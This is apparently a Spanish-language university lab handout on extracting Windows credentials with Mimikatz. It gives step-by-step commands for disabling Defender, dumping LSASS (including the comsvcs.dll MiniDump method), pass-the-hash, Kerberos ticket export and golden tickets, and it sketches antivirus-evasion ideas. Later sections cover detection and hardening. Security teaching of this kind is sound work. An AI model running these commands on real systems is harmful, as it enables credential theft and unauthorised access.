Saltar al contenido principal

Lab 8.1: Mimikatz - Extracción de Credenciales en Vivo

Objetivos de Aprendizaje​

Al finalizar este laboratorio, usted será capaz de:

  • Comprender cómo Windows almacena las credenciales en memoria
  • Utilizar Mimikatz para extraer contraseñas en texto claro desde la RAM
  • Extraer hashes NTLM para Pass-the-Hash
  • Comprender el funcionamiento de LSASS (Local Security Authority Subsystem Service)
  • Volcar los tickets Kerberos
  • Realizar ataques Pass-the-Hash y Pass-the-Ticket
  • Comprender por qué Credential Guard es esencial
  • Detectar el uso de Mimikatz en un sistema
  • Implementar protecciones contra estos ataques

Duración Estimada​

45 minutos

Prerrequisitos​

  • VM Windows 10/11
  • Derechos de administrador
  • Comprensión de la autenticación Windows
  • Lab 3.1 (extracción de credenciales) completado para contexto
  • Antivirus desactivado temporalmente (solo para el laboratorio)

Contexto Profesional​

Mimikatz es la herramienta más famosa y temida en seguridad Windows. Creada por Benjamin Delpy, demuestra que Windows almacena credenciales en memoria de forma recuperable.

Mimikatz es utilizado por:

  • Pentesters durante pruebas de intrusión
  • Red Teams para simulaciones de ataques
  • Atacantes APT (Amenazas Persistentes Avanzadas)
  • Ransomware para movimiento lateral
  • Forenses para investigación

Impacto histórico:

  • Revelación de debilidades en el almacenamiento de credenciales de Windows
  • Utilizado en casi todos los ataques importantes desde 2011
  • Herramienta estándar en cualquier pentest de Windows
  • Obligó a Microsoft a desarrollar Credential Guard

Ataques famosos usando Mimikatz:

  • NotPetya (2017) - Ransomware devastador
  • BadRabbit (2017) - Ransomware dirigido a Ucrania
  • Carbanak (2015) - Robo de 1 billón USD a bancos
  • Industroyer (2016) - Ataque a infraestructura eléctrica

MIMIKATZ ES UNA HERRAMIENTA EXTREMADAMENTE PODEROSA

Mimikatz permite extraer TODAS las contraseñas en memoria, incluyendo:

  • Contraseñas en texto claro
  • Hash NTLM
  • Tickets Kerberos
  • Certificados

SOLO AUTORIZADO:

  • En su VM de pruebas personal
  • En sistemas de su propiedad
  • En el marco de pruebas de penetración con contrato escrito y autorización explícita
  • Para investigación forense con mandato legal

ESTRICTAMENTE PROHIBIDO:

  • En sistemas empresariales sin autorización formal
  • En computadoras que no le pertenecen
  • Para robo de credenciales de otros
  • Para acceso no autorizado a sistemas

CONSECUENCIAS LEGALES: Uso no autorizado de Mimikatz = Acceso ilegal a sistema informático + Robo de datos de autenticación (Código penal art. 342.1). Delito grave con prisión y multas masivas.

DETECCIÓN:

  • Todos los antivirus detectan Mimikatz inmediatamente
  • EDR (Endpoint Detection and Response) alerta en tiempo real
  • SIEM correlaciona los eventos
  • El uso deja rastros en los logs

PARA ESTE LABORATORIO:

  • VM Windows aislada (red interna)
  • Sin acceso a Internet
  • Antivirus desactivado SOLO durante el laboratorio
  • Reactívelo inmediatamente después

Parte 1: Comprender el Almacenamiento de Credenciales en Windows​

Paso 1.1: LSASS (Local Security Authority Subsystem Service)​

LSASS.exe:

  • Proceso crítico de Windows
  • Gestiona la autenticación de usuarios
  • Almacena las credenciales en memoria para Single Sign-On (SSO)
  • Se ejecuta con privilegios SYSTEM

¿Qué almacena LSASS?:

Cuando usted inicia sesión en Windows:

1. Usted ingresa: nombre de usuario + contraseña
2. Windows valida las credenciales
3. LSASS almacena en memoria:
- Contraseña en texto claro (si WDigest activado)
- Hash NTLM de la contraseña
- Tickets Kerberos (si dominio Active Directory)
- Tokens de autenticación

¿Por qué?: Para permitir SSO (Single Sign-On)

  • Usted ingresa la contraseña UNA vez al iniciar sesión
  • Windows la usa automáticamente para acceso a red, servicios, etc.
  • ¡Práctico PERO peligroso si se compromete!

Paso 1.2: WDigest y Contraseñas en Texto Claro​

Protocolo de Autenticación WDigest:

  • Protocolo antiguo para autenticación HTTP Digest
  • ¡Almacenaba las contraseñas EN TEXTO CLARO en LSASS!
  • Activado por defecto en Windows 7, 8, Server 2008/2012
  • Desactivado por defecto desde Windows 8.1 / Server 2012 R2

Verificar si WDigest está activado:

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential"

Resultado:

  • 1 = Activado (¡contraseñas en texto claro almacenadas!)
  • 0 o ausente = Desactivado (más seguro)

Preguntas:

  1. ¿Qué es LSASS y por qué es crítico?
  2. ¿WDigest está activado en su sistema?

Paso 1.3: Tipos de Credenciales Recuperables​

Con Mimikatz, usted puede obtener:

1. Contraseñas en texto claro (si WDigest activado):

Username: admin
Password: MySecretPassword123!

2. Hash NTLM:

NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c

Uso: Pass-the-Hash (¡conexión sin contraseña!)

3. Tickets Kerberos:

Golden Ticket, Silver Ticket, TGT

Uso: Suplantación, acceso a recursos

4. Certificados:

Certificados de autenticación
Claves privadas

Parte 2: Instalación y Preparación​

Paso 2.1: Descarga de Mimikatz​

Fuente oficial:

Descargue:

  • mimikatz_trunk.zip (versión completa)
  • Extraiga en C:\Tools\mimikatz\

ATENCIÓN: ¡El antivirus detectará y eliminará INMEDIATAMENTE!

Paso 2.2: Desactivación de Windows Defender​

PowerShell como administrador:

Set-MpPreference -DisableRealtimeMonitoring $true

Agregar exclusión (alternativa):

Add-MpPreference -ExclusionPath "C:\Tools\mimikatz"

Verificar:

Get-MpPreference | Select-Object DisableRealtimeMonitoring

Debe devolver: True

IMPORTANTE: ¡Reactívelo después del laboratorio!

Set-MpPreference -DisableRealtimeMonitoring $false

Paso 2.3: Activar WDigest (Para Demo de Contraseñas en Texto Claro)​

Para ver las contraseñas en texto claro, active WDigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Luego:

  1. Cierre sesión (logout)
  2. Inicie sesión nuevamente con su contraseña
  3. ¡La contraseña ahora está en memoria en texto claro!

Preguntas: 3. ¿Se desactivó Windows Defender? 4. ¿WDigest está ahora activado?


Parte 3: Primer Uso de Mimikatz​

Paso 3.1: Lanzamiento y Privilegios​

Abra CMD como ADMINISTRADOR

cd C:\Tools\mimikatz\x64
mimikatz.exe

Se abre la interfaz de Mimikatz:

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

Obtener privilegios de debug (CRÍTICO):

mimikatz # privilege::debug

Resultado esperado:

Privilege '20' OK

Si "ERROR": ¡No es administrador!

Elevar al token SYSTEM:

mimikatz # token::elevate

Resultado:

Token Id  : 0
User name : NT AUTHORITY\SYSTEM

¡Ahora usted es SYSTEM!

Preguntas: 5. ¿Se obtuvo correctamente el privilegio de debug? 6. ¿Cuál es su nivel de privilegio actual?


Parte 4: Extracción de Contraseñas - EL COMANDO MÁGICO​

Paso 4.1: sekurlsa::logonpasswords​

EL COMANDO MÁS PODEROSO DE MIMIKATZ:

mimikatz # sekurlsa::logonpasswords

ESPERE UNOS SEGUNDOS...

RESULTADO (ejemplo):

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DESKTOP-ABC123$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 11/8/2024 10:30:45 AM
SID : S-1-5-18
msv :
[00000003] Primary
* Username : DESKTOP-ABC123$
* Domain : WORKGROUP
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c

Authentication Id : 0 ; 123456 (00000000:0001e240)
Session : Interactive from 1
User Name : Admin
Domain : DESKTOP-ABC123
Logon Server : DESKTOP-ABC123
Logon Time : 11/8/2024 10:31:12 AM
SID : S-1-5-21-xxx-xxx-xxx-1001
msv :
[00000003] Primary
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
wdigest :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
kerberos :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!

¡INCREÍBLE! La contraseña aparece EN TEXTO CLARO:

Password : MySecretPassword123!

TODOS los usuarios conectados:

  • Su nombre de usuario
  • Su dominio
  • ¡Su contraseña EN TEXTO CLARO!
  • Su hash NTLM
  • Sus tickets Kerberos

¡BOOM! ¡Por eso Mimikatz es legendario!

Paso 4.2: Análisis de Resultados​

Cada sesión de usuario muestra:

msv (Microsoft Authentication Package):

  • Hash NTLM
  • Puede usarse para Pass-the-Hash

tspkg (Terminal Services Package):

  • Credenciales para Remote Desktop

wdigest:

  • CONTRASEÑA EN TEXTO CLARO (¡si WDigest activado!)
  • Aquí es donde se ven las contraseñas

kerberos:

  • Tickets de autenticación
  • Contraseña en texto claro también (si está disponible)

livessp:

  • Credenciales para Live ID

Paso 4.3: Extracción Específica​

Extraer solo las contraseñas en texto claro:

mimikatz # sekurlsa::wdigest

Extraer solo los hashes NTLM:

mimikatz # sekurlsa::msv

Extraer solo tickets Kerberos:

mimikatz # sekurlsa::tickets

Preguntas: 7. ¿Cuántos usuarios tenían sesiones activas? 8. ¿Pudo ver contraseñas en texto claro? 9. Si no, ¿por qué? (Probablemente WDigest desactivado)


Parte 5: Ataque Pass-the-Hash​

Paso 5.1: Comprender Pass-the-Hash​

Principio:

Normalmente:

Usuario ingresa contraseña → Windows calcula hash NTLM → Usa hash para autenticación

Pero: ¡Windows acepta DIRECTAMENTE el hash!

Entonces:

El atacante tiene el hash (vía Mimikatz)
↓
Usa el hash directamente
↓
¡Conexión exitosa SIN conocer la contraseña!

Es como: ¡Usar la huella digital de alguien sin la persona!

Paso 5.2: Extracción del Hash​

Desde los resultados de Mimikatz, anote un hash NTLM:

* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c

Copie el hash: 8846f7eaee8fb117ad06bdd830b7586c

Paso 5.3: Usar el Hash para Autenticación​

Con Mimikatz, autentíquese con el hash:

mimikatz # sekurlsa::pth /user:Admin /domain:DESKTOP-ABC123 /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

Resultado: ¡Se abre una nueva ventana CMD!

¡Esta sesión CMD está autenticada como Admin SIN haber ingresado la contraseña!

En este nuevo CMD, pruebe:

whoami

Resultado: DESKTOP-ABC123\Admin

Acceda a un recurso compartido de red (si tiene uno):

dir \\192.168.100.20\C$

¡Acceso exitoso SOLO con el hash!

Preguntas: 10. ¿Funcionó el Pass-the-Hash? 11. ¿A qué recursos de red puede acceder con el hash?


Parte 6: Volcado Completo de LSASS​

Paso 6.1: Método Alternativo - Task Manager​

Si Mimikatz no está disponible, puede volcar LSASS:

  1. Abra el Administrador de tareas (Ctrl+Shift+Esc)
  2. Pestaña "Detalles"
  3. Busque lsass.exe
  4. Clic derecho → "Crear archivo de volcado"
  5. Archivo creado: lsass.DMP

¡Este archivo contiene TODAS las credenciales en memoria!

Paso 6.2: Analizar el Volcado de LSASS con Mimikatz​

Transfiera lsass.DMP a una máquina de análisis (offline):

En la máquina de análisis (sin antivirus):

mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonpasswords

¡BOOM! Extracción de credenciales desde el volcado!

Ventaja:

  • No es necesario ejecutar Mimikatz en la máquina objetivo
  • Análisis offline (sin detección en tiempo de ejecución)
  • El volcado puede hacerse con herramientas legítimas (ProcDump, Task Manager)

Comando ProcDump (Sysinternals - ¡legítimo!):

procdump.exe -accepteula -ma lsass.exe lsass.dmp

¡Menos sospechoso que Mimikatz!

Paso 6.3: Automatización​

Script PowerShell para volcado automático:

# Encontrar PID de LSASS
$lsassPID = (Get-Process lsass).Id

# Crear volcado con comsvcs.dll (¡método nativo de Windows!)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Temp\lsass.dmp full

Write-Host "LSASS dumped to C:\Temp\lsass.dmp"

Método sigiloso: ¡Utiliza una DLL legítima de Windows!

Preguntas: 12. ¿Funciona el volcado de LSASS vía Task Manager? 13. ¿Puede extraer credenciales del volcado offline?


Parte 7: Tickets Kerberos y Golden Ticket​

Paso 7.1: Extraer Tickets Kerberos​

Listar todos los tickets:

mimikatz # sekurlsa::tickets

Resultado:

Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 11/8/2024 10:31:12 AM ; 11/8/2024 8:31:12 PM ; 11/15/2024 10:31:12 AM
Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
Target Name (--) : @ DOMAIN.LOCAL
Client Name (01) : Admin ; @ DOMAIN.LOCAL
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac

Los tickets contienen:

  • TGT (Ticket Granting Ticket)
  • Tickets de servicio
  • Permiten acceso sin re-autenticación

Paso 7.2: Exportar Tickets​

Exportar todos los tickets a archivos:

mimikatz # sekurlsa::tickets /export

Archivos creados:

[0;3e4]-0-0-40e00000-DESKTOP$.kirbi
[0;1e240]-2-0-40e10000-Admin.kirbi
...

¡Estos archivos .kirbi son los tickets!

Impórtelos en otra máquina:

mimikatz # kerberos::ptt Admin.kirbi

Resultado: ¡Acceso con la identidad de Admin en otra máquina!

Paso 7.3: Golden Ticket (Dominio AD)​

NOTA: Requiere entorno Active Directory.

Si tiene el hash NTLM de la cuenta KRBTGT:

mimikatz # kerberos::golden /user:Admin /domain:domain.local /sid:S-1-5-21-xxx-xxx-xxx /krbtgt:HASH /ptt

Resultado: ¡Ticket de administrador PERMANENTE!

Golden Ticket permite:

  • Acceso a todos los recursos del dominio
  • Válido por 10 años por defecto
  • Indetectable (salvo monitoreo Kerberos)
  • ¡Sobrevive al cambio de contraseña!

Preguntas: 14. ¿Cuántos tickets Kerberos extrajo? 15. ¿Qué es un Golden Ticket y por qué es tan peligroso?


Parte 8: Otras Funcionalidades de Mimikatz​

Paso 8.1: Volcado SAM Local​

Extraer hash de TODAS las cuentas locales:

mimikatz # lsadump::sam

Resultado:

RID  : 000001f4 (500)
User : Administrator
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c

RID : 000003e9 (1001)
User : Admin
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

¡Todas las cuentas locales de Windows!

Alternativa (más sigiloso):

mimikatz # lsadump::secrets

También extrae:

  • Contraseña de cuenta de máquina
  • Contraseñas de cuentas de servicio
  • Claves maestras DPAPI

Paso 8.2: Certificados y Claves Privadas​

Exportar certificados almacenados:

mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export

Archivos creados: ¡Certificados y claves privadas!

Uso:

  • Autenticación por certificado
  • Firma de código
  • Cifrado de datos

Paso 8.3: Vault y Credential Manager​

Windows Credential Manager almacena:

  • Credenciales para Remote Desktop
  • Credenciales de red
  • Credenciales web
  • Credenciales genéricas

Extraer:

mimikatz # vault::list
mimikatz # vault::cred

Resultado:

Credential
Type : domain_password
Server : server.company.com
User : admin
Password : P@ssw0rd123

¡Credenciales almacenadas en Credential Manager reveladas!

Preguntas: 16. ¿Cuántas credenciales están almacenadas en Credential Manager? 17. ¿Hay contraseñas RDP guardadas?


Parte 9: Detección de Mimikatz​

Paso 9.1: Firmas de Antivirus​

Todos los antivirus detectan Mimikatz:

Prueba:

Reactive Defender:

Set-MpPreference -DisableRealtimeMonitoring $false

Intente ejecutar Mimikatz:

mimikatz.exe

Resultado: ¡Eliminación inmediata por Defender!

Logs de Windows Defender:

Get-MpThreatDetection | Where-Object {$_.ThreatName -like "*Mimikatz*"}

Paso 9.2: Detección Conductual (EDR)​

Comportamientos sospechosos detectados por EDR:

  1. Acceso al proceso LSASS:

    • Event ID 4656: Handle to LSASS
    • Proceso: Unknown.exe
    • Acceso: Read Memory
  2. Privilegio SeDebugPrivilege:

    • Event ID 4672: Special privileges assigned
    • Necesario para volcar LSASS
  3. Lectura de memoria de LSASS:

    • API: OpenProcess, ReadProcessMemory
    • Objetivo: lsass.exe
    • ¡Bandera roja inmediata!

Consulta de logs Sysmon:

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} | 
Where-Object {$_.Message -like "*lsass.exe*"} |
Select-Object TimeCreated, Message | Format-List

Event ID 10: ProcessAccess (acceso a un proceso)

Paso 9.3: Detección vía Análisis de Memoria​

Strings en la memoria de Mimikatz:

strings64.exe mimikatz.exe | findstr /i "gentilkiwi sekurlsa"

Firmas únicas:

  • "gentilkiwi" (autor)
  • "sekurlsa"
  • "A La Vie, A L'Amour" (lema)

Escaneo de memoria:

Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $proc.Modules | Where-Object {$_.FileName -like "*kiwi*"}
if ($modules) {
Write-Host "SUSPICIOUS: $($proc.ProcessName)" -ForegroundColor Red
}
} catch {}
}

Preguntas: 18. ¿Windows Defender detectó Mimikatz? 19. ¿Cómo detectaría un EDR Mimikatz incluso con el antivirus desactivado?


Parte 10: Defensas contra Mimikatz​

Paso 10.1: Credential Guard​

Windows 10/11 Enterprise - Credential Guard:

Protección hardware contra volcado de credenciales:

  • Utiliza Virtualization-Based Security (VBS)
  • LSASS se ejecuta en un contenedor aislado
  • Mimikatz NO puede acceder a las credenciales

Verificar si está activado:

Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning

Activación (Windows Pro/Enterprise + TPM):

# Vía registro
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# Requiere reinicio
shutdown /r /t 0

Con Credential Guard: ¡Mimikatz falla!

Paso 10.2: Protecciones Complementarias​

1. Protected Users Group:

Agregar usuarios al grupo "Protected Users":

Add-ADGroupMember -Identity "Protected Users" -Members Admin

Protecciones:

  • Sin caché NTLM
  • Sin CredSSP
  • Sin Kerberos DES/RC4

2. Desactivar WDigest (si no está ya desactivado):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

3. LSA Protection (RunAsPPL):

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f

LSASS se ejecuta como Protected Process:

  • Más difícil de volcar
  • Mimikatz básico falla
  • Requiere driver para evadir

4. Antivirus y EDR:

  • Detección de firmas
  • Detección conductual
  • Bloqueo de acceso a LSASS

5. Logging y Monitoreo:

  • Sysmon con configuración adecuada
  • Event ID 4656, 4672, 10 (Sysmon)
  • Alertas sobre acceso a LSASS

Paso 10.3: Buenas Prácticas​

Administración:

  1. Usar cuentas separadas (admin vs usuario diario)
  2. No usar cuenta admin para navegación web
  3. Cerrar sesiones cuando no se usen
  4. No usar Domain Admin en estaciones de usuario
  5. Jump boxes para administración

Técnico:

  1. Credential Guard en todas las máquinas
  2. Protected Users para cuentas privilegiadas
  3. LAPS (Local Administrator Password Solution)
  4. Rotación regular de contraseñas
  5. 2FA en todos los lugares posibles

Monitoreo:

  1. Alertas sobre acceso a LSASS
  2. Detección de volcado de procesos
  3. Línea base de comportamientos normales
  4. Correlación de eventos (SIEM)

Preguntas: 20. ¿Credential Guard está activado en su sistema? 21. ¿Qué otras medidas recomendaría?


Entregables​

A entregar:

  1. Informe de explotación (Word/PDF, 5-6 páginas):

    • Respuestas a las 21 preguntas
    • Metodología de uso de Mimikatz
    • Capturas completas de los resultados
    • Análisis de credenciales extraídas (¡ANONIMIZADAS!)
    • Explicación técnica del funcionamiento
  2. Capturas de pantalla (mínimo 8):

    • Interfaz de Mimikatz
    • Comando privilege::debug exitoso
    • Resultado de sekurlsa::logonpasswords (¡CONTRASEÑAS BORRADAS SI SON REALES!)
    • Hash NTLM extraídos
    • Pass-the-Hash en acción
    • Volcado de LSASS vía Task Manager
    • Intento con Defender activado (bloqueado)
    • Configuración de Credential Guard
  3. Documentación técnica (3 páginas):

    • Explicación detallada de LSASS
    • Proceso de almacenamiento de credenciales en memoria
    • Por qué funciona Mimikatz
    • Evolución de las protecciones de Microsoft
  4. Plan de defensa (2 páginas):

    • Medidas de protección multicapa
    • Configuración de Credential Guard
    • Política de gestión de cuentas privilegiadas
    • Estrategia de monitoreo y detección

Criterios de Evaluación​

CriterioPuntos
Comprensión del funcionamiento de Mimikatz y LSASS25%
Extracción exitosa de credenciales25%
Realización de Pass-the-Hash20%
Documentación técnica completa15%
Plan de defensa realista15%

Comandos de Referencia Rápida​

Preparación​

# Desactivar Defender (solo laboratorio)
Set-MpPreference -DisableRealtimeMonitoring $true

# Activar WDigest (para contraseñas en texto claro)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Esenciales de Mimikatz​

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::tickets

Pass-the-Hash​

mimikatz # sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:cmd.exe

Volcado de LSASS​

# Task Manager GUI
# O
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# O
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID lsass.dmp full

Análisis del Volcado​

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Protección​

# Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# LSA Protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f

# Desactivar WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

Solución de Problemas​

Problema: "ERROR kuhl_m_sekurlsa_acquireLSA"​

Solución: Mimikatz no tiene los privilegios necesarios.

  • Ejecute CMD como administrador
  • Verifique que privilege::debug devuelva "OK"
  • Pruebe token::elevate

Problema: No se muestran contraseñas en texto claro​

Razón: WDigest desactivado (normal en Windows 10+)

Soluciones:

  • Active WDigest (ver Paso 2.3)
  • Cierre sesión y vuelva a iniciar sesión
  • Los hashes NTLM siempre están disponibles incluso sin WDigest

Problema: "Access Denied" al volcar LSASS​

Solución:

  • Ejecute como administrador
  • El antivirus puede bloquear (desactive temporalmente)
  • Algunos EDR bloquean incluso para admin

Para Profundizar (Opcional)​

Challenge 1: Evasión de Mimikatz​

Técnicas para evitar la detección:

  • Ofuscación del binario
  • Carga en memoria (invoke-mimikatz)
  • Modificación del código fuente y recompilación
  • Uso de alternativas (pypykatz, lsassy)

Challenge 2: Análisis Forense​

En una máquina comprometida:

  • Identificar rastros de Mimikatz
  • Analizar logs para reconstrucción de la línea de tiempo
  • Identificar credenciales comprometidas
  • Evaluar impacto y alcance de la intrusión

Challenge 3: Alternativas a Mimikatz​

Investigue y pruebe:

  • pypykatz (implementación en Python)
  • lsassy (volcado de LSASS vía SMB)
  • SharpKatz (implementación en C#)
  • SafetyKatz (ejecución en memoria)

Recursos Adicionales​


Conclusión​

Este laboratorio le ha enseñado:

  • Uso de Mimikatz, la herramienta legendaria de volcado de credenciales
  • Extracción de contraseñas en texto claro desde la memoria RAM
  • Técnica de Pass-the-Hash para autenticación sin contraseña
  • Manipulación de tickets Kerberos
  • Múltiples métodos de volcado de LSASS
  • Detección y defensas contra estos ataques

Lecciones críticas:

  1. Windows almacena las credenciales en memoria de forma recuperable
  2. Acceso de administrador = Acceso a TODAS las credenciales en memoria
  3. WDigest (si está activado) almacena contraseñas EN TEXTO CLARO
  4. El hash NTLM es suficiente para autenticación (Pass-the-Hash)
  5. Credential Guard es la única protección real
  6. La detección es fácil pero la prevención es compleja

Impacto de este conocimiento:

  • Comprensión profunda de la autenticación Windows
  • Importancia de la separación de privilegios
  • Necesidad de monitoreo y detección
  • Credential Guard = Obligatorio en empresas
  • NUNCA usar cuentas admin para tareas diarias

Mensaje final:

Acaba de aprender a usar la herramienta más poderosa y temida en seguridad Windows. Mimikatz ha revolucionado el pentesting y obligó a Microsoft a revisar su arquitectura de seguridad.

Con gran poder viene una gran responsabilidad.

Utilice Mimikatz únicamente:

  • En sus VMs de prueba
  • En el marco de pentests autorizados
  • Para comprender y DEFENDERSE de estos ataques

NUNCA para:

  • Robo de credenciales de otros
  • Acceso no autorizado
  • Compromiso malicioso

Ahora entiende por qué:

  • Los antivirus detectan Mimikatz instantáneamente
  • Los EDR alertan sobre acceso a LSASS
  • Credential Guard es esencial
  • La seguridad Windows ha evolucionado desde Windows 10

Próximo paso: ¡Lab 8.2 donde aprenderá a evadir antivirus con ofuscación y AMSI bypass!


Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 8